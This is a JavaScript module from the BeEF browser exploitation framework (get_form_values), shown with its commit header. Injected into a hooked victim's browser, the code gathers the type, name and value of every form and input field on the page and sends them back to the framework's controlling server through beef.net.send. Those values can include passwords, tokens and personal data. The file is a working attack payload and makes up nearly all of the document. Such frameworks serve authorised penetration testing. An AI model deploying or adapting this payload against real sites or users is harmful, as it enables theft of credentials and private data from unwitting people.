Files
beef/modules/browser/hooked_domain/get_form_values/command.js
jcrew99 486a9bb329 Update copyright 2023 (#2675)
* updated copyright

* reverted gemfile lock changes
2022-12-31 15:36:07 +10:00

36 lines
1.1 KiB
JavaScript

//
// Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var input_values = new Array();
// loop through all forms
var forms = document.forms;
for (var f=0; f < forms.length; f++) {
// store type,name,value for all input fields
for (var i=0; i < forms[f].elements.length; i++) {
input_values.push(new Array(forms[f].elements[i].type, forms[f].elements[i].name, forms[f].elements[i].value));
}
}
// store type,name,value for all input fields outside of form elements
var inputs = document.getElementsByTagName('input');
for (var i=0; i < inputs.length; i++) {
input_values.push(new Array(inputs[i].type, inputs[i].name, inputs[i].value))
}
// return input field info
if (input_values.length) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+JSON.stringify(unique(input_values)));
// return if no input fields were found
} else {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'error=Could not find any inputs fields on '+window.location);
}
});